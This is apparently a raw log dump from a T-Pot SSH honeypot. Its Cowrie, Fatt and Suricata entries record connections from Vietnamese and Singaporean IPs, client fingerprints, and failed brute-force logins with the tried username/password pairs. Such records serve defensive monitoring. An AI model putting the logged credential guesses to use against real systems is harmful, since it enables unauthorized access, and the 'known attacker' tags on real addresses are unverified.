"umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ae82cd1edada", "@version": "1", "timestamp": "2021-09-20T11:10:42.585493Z", "@timestamp": "2021-09-20T11:10:42.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25548	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:42.592484+03	2021-09-20 14:15:10.2855+03	{"_id": "TAbmAnwBvYTbRNuEqRyY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "0f5a0ac5508d", "@version": "1", "duration": 3.050170421600342, "timestamp": "2021-09-20T11:10:42.592484Z", "@timestamp": "2021-09-20T11:10:42.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25550	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:44.084218+03	2021-09-20 14:15:10.287474+03	{"_id": "TwbmAnwBvYTbRNuErBzs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47524, "timestamp": "2021-09-20T11:10:44.084218", "@timestamp": "2021-09-20T11:10:44.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25551	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:43.973166+03	2021-09-20 14:15:10.289472+03	{"_id": "UAbmAnwBvYTbRNuErRyB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "60608c06aa9d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:43.973166Z", "@timestamp": "2021-09-20T11:10:43.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25552	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:43.766794+03	2021-09-20 14:15:10.29047+03	{"_id": "VAbmAnwBvYTbRNuErRyD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [pos/posUnitedStates] failed", "session": "cd043c0f600b", "@version": "1", "password": "posUnitedStates", "username": "pos", "timestamp": "2021-09-20T11:10:43.766794Z", "@timestamp": "2021-09-20T11:10:43.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25553	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:44.194266+03	2021-09-20 14:15:10.29247+03	{"_id": "WQbmAnwBvYTbRNuErRyD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "60608c06aa9d", "@version": "1", "timestamp": "2021-09-20T11:10:44.194266Z", "@timestamp": "2021-09-20T11:10:44.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25554	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:44.31334+03	2021-09-20 14:15:10.29347+03	{"_id": "WgbmAnwBvYTbRNuErRyD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [oracle/123456] failed", "session": "4e67687fbf55", "@version": "1", "password": "123456", "username": "oracle", "timestamp": "2021-09-20T11:10:44.313340Z", "@timestamp": "2021-09-20T11:10:44.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25556	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:10:44.194056+03	2021-09-20 14:15:10.29647+03	{"_id": "YAbmAnwBvYTbRNuEsBzW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47524, "dest_port": 22, "timestamp": "2021-09-20T11:10:44.194056", "@timestamp": "2021-09-20T11:10:44.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25557	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:29.386099+03	2021-09-20 14:15:10.29847+03	{"_id": "KQbmAnwBvYTbRNuEdhsu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58532, "dest_port": 22, "timestamp": "2021-09-20T11:10:29.386099", "@timestamp": "2021-09-20T11:10:29.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25558	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:10:30.070595+03	2021-09-20 14:15:10.299471+03	{"_id": "LQbmAnwBvYTbRNuEdhvC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:34872 (192.168.176.2:22) [session: b18a8053f199]", "session": "b18a8053f199", "@version": "1", "protocol": "ssh", "src_port": 34872, "dest_port": 22, "timestamp": "2021-09-20T11:10:30.070595Z", "@timestamp": "2021-09-20T11:10:30.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25559	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:10:30.249145+03	2021-09-20 14:15:10.301501+03	{"_id": "MgbmAnwBvYTbRNuEdhvC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "b18a8053f199", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:10:30.249145Z", "@timestamp": "2021-09-20T11:10:30.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25560	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:10:30.248939+03	2021-09-20 14:15:10.302504+03	{"_id": "MwbmAnwBvYTbRNuEeRsG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:10:29.893582+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", 